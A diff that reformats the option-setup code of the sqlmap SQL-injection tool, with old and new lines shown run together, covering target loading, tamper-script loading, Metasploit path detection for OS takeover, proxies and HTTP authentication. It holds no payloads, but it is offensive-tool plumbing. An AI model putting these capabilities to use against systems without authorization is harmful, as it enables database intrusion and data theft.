message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(
self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
else: else:
for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted for match in re.finditer(r"[^\w]'([^']+)'", message): # single-quoted
string = match.group(1) string = match.group(1)
message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(self.color_map["white"] + 30), 'm', string, self._reset(message))), 1) message = message.replace("'%s'" % string, "'%s'" % ''.join((self.csi, str(
self.color_map["white"] + 30), 'm', string, self._reset(message))), 1)
else: else:
message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset)) message = ''.join((self.csi, ';'.join(params), 'm', message, self.reset))
@ -92,6 +100,7 @@ try:
return message return message
disableColor = False disableColor = False
for argument in sys.argv: for argument in sys.argv:

View File

@ -176,6 +176,7 @@ try:
except NameError: except NameError:
WindowsError = None WindowsError = None
def _loadQueries(): def _loadQueries():
""" """
Loads queries from 'xml/queries.xml' file. Loads queries from 'xml/queries.xml' file.
@ -214,6 +215,7 @@ def _loadQueries():
for node in tree.findall("*"): for node in tree.findall("*"):
queries[node.attrib['value']] = iterate(node) queries[node.attrib['value']] = iterate(node)
def _setMultipleTargets(): def _setMultipleTargets():
""" """
Define a configuration parameter if we are running in multiple target Define a configuration parameter if we are running in multiple target
@ -236,7 +238,8 @@ def _setMultipleTargets():
if checkFile(conf.logFile, False): if checkFile(conf.logFile, False):
for target in parseRequestFile(conf.logFile): for target in parseRequestFile(conf.logFile):
url, _, data, _, _ = target url, _, data, _, _ = target
key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", "%s %s" % (url, data)) key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>",
"%s %s" % (url, data))
if key not in seen: if key not in seen:
kb.targets.add(target) kb.targets.add(target)
seen.add(key) seen.add(key)
@ -251,7 +254,8 @@ def _setMultipleTargets():
for target in parseRequestFile(os.path.join(conf.logFile, reqFile)): for target in parseRequestFile(os.path.join(conf.logFile, reqFile)):
url, _, data, _, _ = target url, _, data, _, _ = target
key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>", "%s %s" % (url, data)) key = re.sub(r"(\w+=)[^%s ]*" % (conf.paramDel or DEFAULT_GET_POST_DELIMITER), r"\g<1>",
"%s %s" % (url, data))
if key not in seen: if key not in seen:
kb.targets.add(target) kb.targets.add(target)
seen.add(key) seen.add(key)
@ -269,6 +273,7 @@ def _setMultipleTargets():
infoMsg += "targets list ready to be tested" infoMsg += "targets list ready to be tested"
logger.info(infoMsg) logger.info(infoMsg)
def _adjustLoggingFormatter(): def _adjustLoggingFormatter():
""" """
Solves problem of line deletition caused by overlapping logging messages Solves problem of line deletition caused by overlapping logging messages
@ -289,6 +294,7 @@ def _adjustLoggingFormatter():
FORMATTER._format = FORMATTER.format FORMATTER._format = FORMATTER.format
FORMATTER.format = format FORMATTER.format = format
def _setRequestFromFile(): def _setRequestFromFile():
""" """
This function checks if the way to make a HTTP request is through supplied This function checks if the way to make a HTTP request is through supplied
@ -341,6 +347,7 @@ def _setRequestFromFile():
errMsg += "does not contain a valid HTTP request" errMsg += "does not contain a valid HTTP request"
raise SqlmapDataException(errMsg) raise SqlmapDataException(errMsg)
def _setCrawler(): def _setCrawler():
if not conf.crawlDepth: if not conf.crawlDepth:
return return
@ -352,6 +359,7 @@ def _setCrawler():
target = next(iter(kb.targets)) target = next(iter(kb.targets))
crawl(target[0], target[2], target[3]) crawl(target[0], target[2], target[3])
def _doSearch(): def _doSearch():
""" """
This function performs search dorking, parses results This function performs search dorking, parses results
@ -415,6 +423,7 @@ def _doSearch():
else: else:
conf.googlePage += 1 conf.googlePage += 1
def _setStdinPipeTargets(): def _setStdinPipeTargets():
if conf.url: if conf.url:
return return
@ -453,6 +462,7 @@ def _setStdinPipeTargets():
kb.targets = _() kb.targets = _()
def _setBulkMultipleTargets(): def _setBulkMultipleTargets():
if not conf.bulkFile: if not conf.bulkFile:
return return
@ -480,6 +490,7 @@ def _setBulkMultipleTargets():
warnMsg = "no usable links found (with GET parameters)" warnMsg = "no usable links found (with GET parameters)"
logger.warning(warnMsg) logger.warning(warnMsg)
def _findPageForms(): def _findPageForms():
if not conf.forms or conf.crawlDepth: if not conf.forms or conf.crawlDepth:
return return
@ -528,6 +539,7 @@ def _findPageForms():
warnMsg = "no forms found" warnMsg = "no forms found"
logger.warning(warnMsg) logger.warning(warnMsg)
def _setDBMSAuthentication(): def _setDBMSAuthentication():
""" """
Check and set the DBMS authentication credentials to run statements as Check and set the DBMS authentication credentials to run statements as
@ -550,6 +562,7 @@ def _setDBMSAuthentication():
conf.dbmsUsername = match.group(1) conf.dbmsUsername = match.group(1)
conf.dbmsPassword = match.group(2) conf.dbmsPassword = match.group(2)
def _setMetasploit(): def _setMetasploit():
if not conf.osPwn and not conf.osSmb and not conf.osBof: if not conf.osPwn and not conf.osSmb and not conf.osBof:
return return
@ -587,11 +600,14 @@ def _setMetasploit():
if conf.msfPath: if conf.msfPath:
for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")): for path in (conf.msfPath, os.path.join(conf.msfPath, "bin")):
if any(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfcli", "msfconsole")): if any(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in
("msfcli", "msfconsole")):
msfEnvPathExists = True msfEnvPathExists = True
if all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfvenom",)): if all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _
in ("msfvenom",)):
kb.oldMsf = False kb.oldMsf = False
elif all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfencode", "msfpayload")): elif all(os.path.exists(normalizePath(os.path.join(path, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _
in ("msfencode", "msfpayload")):
kb.oldMsf = True kb.oldMsf = True
else: else:
msfEnvPathExists = False msfEnvPathExists = False
@ -626,11 +642,15 @@ def _setMetasploit():
for envPath in envPaths: for envPath in envPaths:
envPath = envPath.replace(";", "") envPath = envPath.replace(";", "")
if any(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfcli", "msfconsole")): if any(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in
("msfcli", "msfconsole")):
msfEnvPathExists = True msfEnvPathExists = True
if all(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfvenom",)): if all(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for
_ in ("msfvenom",)):
kb.oldMsf = False kb.oldMsf = False
elif all(os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for _ in ("msfencode", "msfpayload")): elif all(
os.path.exists(normalizePath(os.path.join(envPath, "%s%s" % (_, ".bat" if IS_WIN else "")))) for
_ in ("msfencode", "msfpayload")):
kb.oldMsf = True kb.oldMsf = True
else: else:
msfEnvPathExists = False msfEnvPathExists = False
@ -649,6 +669,7 @@ def _setMetasploit():
errMsg += "You can get it at 'https://www.metasploit.com/download/'" errMsg += "You can get it at 'https://www.metasploit.com/download/'"
raise SqlmapFilePathException(errMsg) raise SqlmapFilePathException(errMsg)
def _setWriteFile(): def _setWriteFile():
if not conf.fileWrite: if not conf.fileWrite:
return return
@ -667,6 +688,7 @@ def _setWriteFile():
conf.fileWriteType = getFileType(conf.fileWrite) conf.fileWriteType = getFileType(conf.fileWrite)
def _setOS(): def _setOS():
""" """
Force the back-end DBMS operating system option. Force the back-end DBMS operating system option.
@ -690,6 +712,7 @@ def _setOS():
Backend.setOs(conf.os) Backend.setOs(conf.os)
def _setTechnique(): def _setTechnique():
validTechniques = sorted(getPublicTypeMembers(PAYLOAD.TECHNIQUE), key=lambda x: x[1]) validTechniques = sorted(getPublicTypeMembers(PAYLOAD.TECHNIQUE), key=lambda x: x[1])
validLetters = [_[0][0].upper() for _ in validTechniques] validLetters = [_[0][0].upper() for _ in validTechniques]
@ -711,6 +734,7 @@ def _setTechnique():
conf.technique = _ conf.technique = _
def _setDBMS(): def _setDBMS():
""" """
Force the back-end DBMS option. Force the back-end DBMS option.
@ -731,7 +755,8 @@ def _setDBMS():
if conf.dbms not in SUPPORTED_DBMS: if conf.dbms not in SUPPORTED_DBMS:
errMsg = "you provided an unsupported back-end database management " errMsg = "you provided an unsupported back-end database management "
errMsg += "system. Supported DBMSes are as follows: %s. " % ', '.join(sorted((_ for _ in (list(DBMS_DICT) + getPublicTypeMembers(FORK, True))), key=str.lower)) errMsg += "system. Supported DBMSes are as follows: %s. " % ', '.join(
sorted((_ for _ in (list(DBMS_DICT) + getPublicTypeMembers(FORK, True))), key=str.lower))
errMsg += "If you do not know the back-end DBMS, do not provide " errMsg += "If you do not know the back-end DBMS, do not provide "
errMsg += "it and sqlmap will fingerprint it for you." errMsg += "it and sqlmap will fingerprint it for you."
raise SqlmapUnsupportedDBMSException(errMsg) raise SqlmapUnsupportedDBMSException(errMsg)
@ -742,6 +767,7 @@ def _setDBMS():
break break
def _listTamperingFunctions(): def _listTamperingFunctions():
""" """
Lists available tamper functions Lists available tamper functions
@ -756,7 +782,9 @@ def _listTamperingFunctions():
match = re.search(r'(?s)__priority__.+"""(.+)"""', content) match = re.search(r'(?s)__priority__.+"""(.+)"""', content)
if match: if match:
comment = match.group(1).strip() comment = match.group(1).strip()
dataToStdout("* %s - %s\n" % (setColor(os.path.basename(script), "yellow"), re.sub(r" *\n *", " ", comment.split("\n\n")[0].strip()))) dataToStdout("* %s - %s\n" % (
setColor(os.path.basename(script), "yellow"), re.sub(r" *\n *", " ", comment.split("\n\n")[0].strip())))
def _setTamperingFunctions(): def _setTamperingFunctions():
""" """
@ -810,12 +838,16 @@ def _setTamperingFunctions():
try: try:
module = __import__(safeFilepathEncode(filename[:-3])) module = __import__(safeFilepathEncode(filename[:-3]))
except Exception as ex: except Exception as ex:
raise SqlmapSyntaxException("cannot import tamper module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) raise SqlmapSyntaxException(
"cannot import tamper module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__ priority = PRIORITY.NORMAL if not hasattr(module, "__priority__") else module.__priority__
for name, function in inspect.getmembers(module, inspect.isfunction): for name, function in inspect.getmembers(module, inspect.isfunction):
if name == "tamper" and (hasattr(inspect, "signature") and all(_ in inspect.signature(function).parameters for _ in ("payload", "kwargs")) or hasattr(inspect, "getargspec") and inspect.getargspec(function).args and inspect.getargspec(function).keywords == "kwargs"): if name == "tamper" and (hasattr(inspect, "signature") and all(
_ in inspect.signature(function).parameters for _ in ("payload", "kwargs")) or hasattr(inspect,
"getargspec") and inspect.getargspec(
function).args and inspect.getargspec(function).keywords == "kwargs"):
found = True found = True
kb.tamperFunctions.append(function) kb.tamperFunctions.append(function)
function.__name__ = module.__name__ function.__name__ = module.__name__
@ -864,6 +896,7 @@ def _setTamperingFunctions():
for _, function in priorities: for _, function in priorities:
kb.tamperFunctions.append(function) kb.tamperFunctions.append(function)
def _setPreprocessFunctions(): def _setPreprocessFunctions():
""" """
Loads preprocess function(s) from given script(s) Loads preprocess function(s) from given script(s)
@ -908,11 +941,13 @@ def _setPreprocessFunctions():
try: try:
module = __import__(safeFilepathEncode(filename[:-3])) module = __import__(safeFilepathEncode(filename[:-3]))
except Exception as ex: except Exception as ex:
raise SqlmapSyntaxException("cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) raise SqlmapSyntaxException(
"cannot import preprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
for name, function in inspect.getmembers(module, inspect.isfunction): for name, function in inspect.getmembers(module, inspect.isfunction):
try: try:
if name == "preprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("req",)): if name == "preprocess" and inspect.getargspec(function).args and all(
_ in inspect.getargspec(function).args for _ in ("req",)):
found = True found = True
kb.preprocessFunctions.append(function) kb.preprocessFunctions.append(function)
@ -947,6 +982,7 @@ def _setPreprocessFunctions():
errMsg += "(Note: find template script at '%s')" % filename errMsg += "(Note: find template script at '%s')" % filename
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
def _setPostprocessFunctions(): def _setPostprocessFunctions():
""" """
Loads postprocess function(s) from given script(s) Loads postprocess function(s) from given script(s)
@ -991,10 +1027,12 @@ def _setPostprocessFunctions():
try: try:
module = __import__(safeFilepathEncode(filename[:-3])) module = __import__(safeFilepathEncode(filename[:-3]))
except Exception as ex: except Exception as ex:
raise SqlmapSyntaxException("cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex))) raise SqlmapSyntaxException(
"cannot import postprocess module '%s' (%s)" % (getUnicode(filename[:-3]), getSafeExString(ex)))
for name, function in inspect.getmembers(module, inspect.isfunction): for name, function in inspect.getmembers(module, inspect.isfunction):
if name == "postprocess" and inspect.getargspec(function).args and all(_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")): if name == "postprocess" and inspect.getargspec(function).args and all(
_ in inspect.getargspec(function).args for _ in ("page", "headers", "code")):
found = True found = True
kb.postprocessFunctions.append(function) kb.postprocessFunctions.append(function)
@ -1013,7 +1051,8 @@ def _setPostprocessFunctions():
handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py") handle, filename = tempfile.mkstemp(prefix=MKSTEMP_PREFIX.PREPROCESS, suffix=".py")
os.close(handle) os.close(handle)
openFile(filename, "w+b").write("#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n") openFile(filename, "w+b").write(
"#!/usr/bin/env\n\ndef postprocess(page, headers=None, code=None):\n return page, headers, code\n")
openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass") openFile(os.path.join(os.path.dirname(filename), "__init__.py"), "w+b").write("pass")
errMsg = "function 'postprocess(page, headers=None, code=None)' " errMsg = "function 'postprocess(page, headers=None, code=None)' "
@ -1022,10 +1061,12 @@ def _setPostprocessFunctions():
errMsg += "(Note: find template script at '%s')" % filename errMsg += "(Note: find template script at '%s')" % filename
raise SqlmapGenericException(errMsg) raise SqlmapGenericException(errMsg)
def _setThreads(): def _setThreads():
if not isinstance(conf.threads, int) or conf.threads <= 0: if not isinstance(conf.threads, int) or conf.threads <= 0:
conf.threads = 1 conf.threads = 1
def _setDNSCache(): def _setDNSCache():
""" """
Makes a cached version of socket._getaddrinfo to avoid subsequent DNS requests. Makes a cached version of socket._getaddrinfo to avoid subsequent DNS requests.
@ -1043,6 +1084,7 @@ def _setDNSCache():
socket._getaddrinfo = socket.getaddrinfo socket._getaddrinfo = socket.getaddrinfo
socket.getaddrinfo = _getaddrinfo socket.getaddrinfo = _getaddrinfo
def _setSocketPreConnect(): def _setSocketPreConnect():
""" """
Makes a pre-connect version of socket.create_connection Makes a pre-connect version of socket.create_connection
@ -1100,6 +1142,7 @@ def _setSocketPreConnect():
setDaemon(thread) setDaemon(thread)
thread.start() thread.start()
def _setHTTPHandlers(): def _setHTTPHandlers():
""" """
Check and set the HTTP/SOCKS proxy for all HTTP requests. Check and set the HTTP/SOCKS proxy for all HTTP requests.
@ -1143,7 +1186,8 @@ def _setHTTPHandlers():
pass # drops into the next check block pass # drops into the next check block
if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)): if not all((scheme, hasattr(PROXY_TYPE, scheme), hostname, port)):
errMsg = "proxy value must be in format '(%s)://address:port'" % "|".join(_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE)) errMsg = "proxy value must be in format '(%s)://address:port'" % "|".join(
_[0].lower() for _ in getPublicTypeMembers(PROXY_TYPE))
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
if conf.proxyCred: if conf.proxyCred:
@ -1163,7 +1207,9 @@ def _setHTTPHandlers():
warnMsg = "SOCKS4 does not support resolving (DNS) names (i.e. causing DNS leakage)" warnMsg = "SOCKS4 does not support resolving (DNS) names (i.e. causing DNS leakage)"
singleTimeWarnMessage(warnMsg) singleTimeWarnMessage(warnMsg)
socks.setdefaultproxy(socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port, username=username, password=password) socks.setdefaultproxy(
socks.PROXY_TYPE_SOCKS5 if scheme == PROXY_TYPE.SOCKS5 else socks.PROXY_TYPE_SOCKS4, hostname, port,
username=username, password=password)
socks.wrapmodule(_http_client) socks.wrapmodule(_http_client)
else: else:
socks.unwrapmodule(_http_client) socks.unwrapmodule(_http_client)
@ -1187,7 +1233,9 @@ def _setHTTPHandlers():
debugMsg = "creating HTTP requests opener object" debugMsg = "creating HTTP requests opener object"
logger.debug(debugMsg) logger.debug(debugMsg)
handlers = filterNone([multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler, rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler]) handlers = filterNone(
[multipartPostHandler, proxyHandler if proxyHandler.proxies else None, authHandler, redirectHandler,
rangeHandler, chunkedHandler if conf.chunked else None, httpsHandler])
if not conf.dropSetCookie: if not conf.dropSetCookie:
if not conf.loadCookies: if not conf.loadCookies:
@ -1216,6 +1264,7 @@ def _setHTTPHandlers():
opener.addheaders = [] # Note: clearing default "User-Agent: Python-urllib/X.Y" opener.addheaders = [] # Note: clearing default "User-Agent: Python-urllib/X.Y"
_urllib.request.install_opener(opener) _urllib.request.install_opener(opener)
def _setSafeVisit(): def _setSafeVisit():
""" """
Check and set the safe visit options. Check and set the safe visit options.
@ -1275,6 +1324,7 @@ def _setSafeVisit():
errMsg = "please provide a valid value (>0) for safe frequency ('--safe-freq') while using safe visit features" errMsg = "please provide a valid value (>0) for safe frequency ('--safe-freq') while using safe visit features"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
def _setPrefixSuffix(): def _setPrefixSuffix():
if conf.prefix is not None and conf.suffix is not None: if conf.prefix is not None and conf.suffix is not None:
# Create a custom boundary object for user's supplied prefix # Create a custom boundary object for user's supplied prefix
@ -1303,14 +1353,18 @@ def _setPrefixSuffix():
# to be tested for # to be tested for
conf.boundaries = [boundary] conf.boundaries = [boundary]
def _setAuthCred(): def _setAuthCred():
""" """
Adds authentication credentials (if any) for current target to the password manager Adds authentication credentials (if any) for current target to the password manager
(used by connection handler) (used by connection handler)
""" """
if kb.passwordMgr and all(_ is not None for _ in (conf.scheme, conf.hostname, conf.port, conf.authUsername, conf.authPassword)): if kb.passwordMgr and all(
kb.passwordMgr.add_password(None, "%s://%s:%d" % (conf.scheme, conf.hostname, conf.port), conf.authUsername, conf.authPassword) _ is not None for _ in (conf.scheme, conf.hostname, conf.port, conf.authUsername, conf.authPassword)):
kb.passwordMgr.add_password(None, "%s://%s:%d" % (conf.scheme, conf.hostname, conf.port), conf.authUsername,
conf.authPassword)
def _setHTTPAuthentication(): def _setHTTPAuthentication():
""" """
@ -1337,7 +1391,8 @@ def _setHTTPAuthentication():
errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")" errMsg += "but did not provide the type (e.g. --auth-type=\"basic\")"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
elif (conf.authType or "").lower() not in (AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.BEARER, AUTH_TYPE.NTLM, AUTH_TYPE.PKI): elif (conf.authType or "").lower() not in (
AUTH_TYPE.BASIC, AUTH_TYPE.DIGEST, AUTH_TYPE.BEARER, AUTH_TYPE.NTLM, AUTH_TYPE.PKI):
errMsg = "HTTP authentication type value must be " errMsg = "HTTP authentication type value must be "
errMsg += "Basic, Digest, Bearer, NTLM or PKI" errMsg += "Basic, Digest, Bearer, NTLM or PKI"
raise SqlmapSyntaxException(errMsg) raise SqlmapSyntaxException(errMsg)
@ -1400,6 +1455,7 @@ def _setHTTPAuthentication():
checkFile(_) checkFile(_)
authHandler = HTTPSPKIAuthHandler(_) authHandler = HTTPSPKIAuthHandler(_)
def _setHTTPExtraHeaders(): def _setHTTPExtraHeaders():
if conf.headers: if conf.headers:
debugMsg = "setting extra HTTP headers" debugMsg = "setting extra HTTP headers"
@ -1431,6 +1487,7 @@ def _setHTTPExtraHeaders():
# Reference: http://stackoverflow.com/a/1383359 # Reference: http://stackoverflow.com/a/1383359
conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache")) conf.httpHeaders.append((HTTP_HEADER.CACHE_CONTROL, "no-cache"))
def _setHTTPUserAgent(): def _setHTTPUserAgent():
""" """
Set the HTTP User-Agent header. Set the HTTP User-Agent header.
@ -1490,6 +1547,7 @@ def _setHTTPUserAgent():
conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent)) conf.httpHeaders.append((HTTP_HEADER.USER_AGENT, userAgent))
def _setHTTPReferer(): def _setHTTPReferer():
""" """
Set the HTTP Referer Set the HTTP Referer
@ -1501,6 +1559,7 @@ def _setHTTPReferer():
conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.referer)) conf.httpHeaders.append((HTTP_HEADER.REFERER, conf.referer))
def _setHTTPHost(): def _setHTTPHost():
""" """
Set the HTTP Host Set the HTTP Host
@ -1512,6 +1571,7 @@ def _setHTTPHost():
conf.httpHeaders.append((HTTP_HEADER.HOST, conf.host)) conf.httpHeaders.append((HTTP_HEADER.HOST, conf.host))
def _setHTTPCookies(): def _setHTTPCookies():
""" """
Set the HTTP Cookie header Set the HTTP Cookie header
@ -1523,6 +1583,7 @@ def _setHTTPCookies():
conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie)) conf.httpHeaders.append((HTTP_HEADER.COOKIE, conf.cookie))
def _setHostname(): def _setHostname():
""" """
Set value conf.hostname Set value conf.hostname
@ -1536,6 +1597,7 @@ def _setHostname():
errMsg += "parsing an URL '%s' ('%s')" % (conf.url, getSafeExString(ex)) errMsg += "parsing an URL '%s' ('%s')" % (conf.url, getSafeExString(ex))
raise SqlmapDataException(errMsg) raise SqlmapDataException(errMsg)
def _setHTTPTimeout(): def _setHTTPTimeout():
""" """
Set the HTTP timeout Set the HTTP timeout
@ -1561,6 +1623,7 @@ def _setHTTPTimeout():
except OverflowError as ex: except OverflowError as ex:
raise SqlmapValueException("invalid value used for option '--timeout' ('%s')" % getSafeExString(ex)) raise SqlmapValueException("invalid value used for option '--timeout' ('%s')" % getSafeExString(ex))
def _checkDependencies(): def _checkDependencies():
""" """
Checks for missing dependencies. Checks for missing dependencies.
@ -1569,6 +1632,7 @@ def _checkDependencies():
if conf.dependencies: if conf.dependencies:
checkDependencies() checkDependencies()
def _createHomeDirectories(): def _createHomeDirectories():
""" """
Creates directories inside sqlmap's home directory Creates directories inside sqlmap's home directory
@ -1578,7 +1642,8 @@ def _createHomeDirectories():
return return
for context in ("output", "history"): for context in ("output", "history"):
directory = paths["SQLMAP_%s_PATH" % getUnicode(context).upper()] # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363 directory = paths[
"SQLMAP_%s_PATH" % getUnicode(context).upper()] # NOTE: https://github.com/sqlmapproject/sqlmap/issues/4363
try: try:
if not os.path.isdir(directory): if not os.path.isdir(directory):
os.makedirs(directory) os.makedirs(directory)
@ -1592,16 +1657,19 @@ def _createHomeDirectories():
logger.warning(warnMsg) logger.warning(warnMsg)
except (OSError, IOError) as ex: except (OSError, IOError) as ex:
tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context) tempDir = tempfile.mkdtemp(prefix="sqlmap%s" % context)
warnMsg = "unable to %s %s directory " % ("create" if not os.path.isdir(directory) else "write to the", context) warnMsg = "unable to %s %s directory " % (
"create" if not os.path.isdir(directory) else "write to the", context)
warnMsg += "'%s' (%s). " % (directory, getUnicode(ex)) warnMsg += "'%s' (%s). " % (directory, getUnicode(ex))
warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir) warnMsg += "Using temporary directory '%s' instead" % getUnicode(tempDir)
logger.warning(warnMsg) logger.warning(warnMsg)
paths["SQLMAP_%s_PATH" % context.upper()] = tempDir paths["SQLMAP_%s_PATH" % context.upper()] = tempDir
def _pympTempLeakPatch(tempDir): # Cross-referenced function def _pympTempLeakPatch(tempDir): # Cross-referenced function
raise NotImplementedError raise NotImplementedError
def _createTemporaryDirectory(): def _createTemporaryDirectory():
""" """
Creates temporary directory for this run. Creates temporary directory for this run.
@ -1656,6 +1724,7 @@ def _createTemporaryDirectory():
if six.PY3: if six.PY3:
_pympTempLeakPatch(kb.tempDir) _pympTempLeakPatch(kb.tempDir)
def _cleanupOptions(): def _cleanupOptions():
""" """
Cleanup configuration attributes. Cleanup configuration attributes.
@ -1824,6 +1893,7 @@ def _cleanupOptions():
finally: finally:
class _(six.text_type): class _(six.text_type):
pass pass
conf.csrfToken = _(conf.csrfToken) conf.csrfToken = _(conf.csrfToken)
conf.csrfToken._original = original conf.csrfToken._original = original
@ -1939,6 +2009,7 @@ def _cleanupOptions():
threadData = getCurrentThreadData() threadData = getCurrentThreadData()
threadData.reset() threadData.reset()
def _cleanupEnvironment(): def _cleanupEnvironment():
""" """
Cleanup environment (e.g. from leftovers after --shell). Cleanup environment (e.g. from leftovers after --shell).
@ -1950,6 +2021,7 @@ def _cleanupEnvironment():
if hasattr(socket, "_ready"): if hasattr(socket, "_ready"):
socket._ready.clear() socket._ready.clear()
def _purge(): def _purge():
""" """
Safely removes (purges) sqlmap data directory. Safely removes (purges) sqlmap data directory.
@ -1958,6 +2030,7 @@ def _purge():
if conf.purge: if conf.purge:
purge(paths.SQLMAP_HOME_PATH) purge(paths.SQLMAP_HOME_PATH)
def _setConfAttributes(): def _setConfAttributes():
""" """
This function set some needed attributes into the configuration This function set some needed attributes into the configuration
@ -1995,6 +2068,7 @@ def _setConfAttributes():
conf.HARCollectorFactory = None conf.HARCollectorFactory = None
conf.fileWriteType = None conf.fileWriteType = None
def _setKnowledgeBaseAttributes(flushAll=True): def _setKnowledgeBaseAttributes(flushAll=True):
""" """
This function set some needed attributes into the knowledge base This function set some needed attributes into the knowledge base
@ -2035,9 +2109,12 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.chars = AttribDict() kb.chars = AttribDict()
kb.chars.delimiter = randomStr(length=6, lowercase=True) kb.chars.delimiter = randomStr(length=6, lowercase=True)
kb.chars.start = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) kb.chars.start = "%s%s%s" % (
kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR) KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True)) kb.chars.stop = "%s%s%s" % (
KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, alphabet=KB_CHARS_LOW_FREQUENCY_ALPHABET), KB_CHARS_BOUNDARY_CHAR)
kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = (
"%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True))
kb.choices = AttribDict(keycheck=False) kb.choices = AttribDict(keycheck=False)
kb.codePage = None kb.codePage = None
@ -2106,7 +2183,9 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.lastParserStatus = None kb.lastParserStatus = None
kb.locks = AttribDict() kb.locks = AttribDict()
for _ in ("cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log", "socket", "redirect", "request", "value"): for _ in (
"cache", "connError", "count", "handlers", "hint", "identYwaf", "index", "io", "limit", "liveCookies", "log",
"socket", "redirect", "request", "value"):
kb.locks[_] = threading.Lock() kb.locks[_] = threading.Lock()
kb.matchRatio = None kb.matchRatio = None
@ -2206,6 +2285,7 @@ def _setKnowledgeBaseAttributes(flushAll=True):
kb.wafFunctions = [] kb.wafFunctions = []
kb.wordlists = None kb.wordlists = None
def _useWizardInterface(): def _useWizardInterface():
""" """
Presents simple wizard interface for beginner users Presents simple wizard interface for beginner users
@ -2220,11 +2300,13 @@ def _useWizardInterface():
message = "Please enter full target URL (-u): " message = "Please enter full target URL (-u): "
conf.url = readInput(message, default=None, checkBatch=False) conf.url = readInput(message, default=None, checkBatch=False)
message = "%s data (--data) [Enter for None]: " % ((conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST) message = "%s data (--data) [Enter for None]: " % (
(conf.method if conf.method != HTTPMETHOD.GET else None) or HTTPMETHOD.POST)
